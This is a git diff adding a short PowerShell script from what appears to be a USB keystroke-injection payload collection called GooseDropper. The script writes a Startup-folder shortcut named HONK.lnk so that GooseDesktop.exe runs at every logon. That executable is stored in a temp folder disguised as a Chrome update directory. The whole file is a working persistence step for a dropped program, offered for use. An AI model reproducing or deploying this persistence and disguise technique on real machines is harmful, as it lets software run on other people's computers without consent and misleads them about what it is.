diff --git a/Duckyscripts/GooseDropper/PersistentGoose.ps1 b/Duckyscripts/GooseDropper/PersistentGoose.ps1 new file mode 100644 index 0000000..94e731b --- /dev/null +++ b/Duckyscripts/GooseDropper/PersistentGoose.ps1 @@ -0,0 +1,6 @@ +$WScriptShell = New-Object -ComObject WScript.Shell +$TargetFile = "$env:Temp\Chrome_Update\Update\GooseDesktop.exe" +$ShortcutFile = "C:\Users\$env:UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HONK.lnk" +$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile) +$Shortcut.TargetPath = $TargetFile +$Shortcut.Save() \ No newline at end of file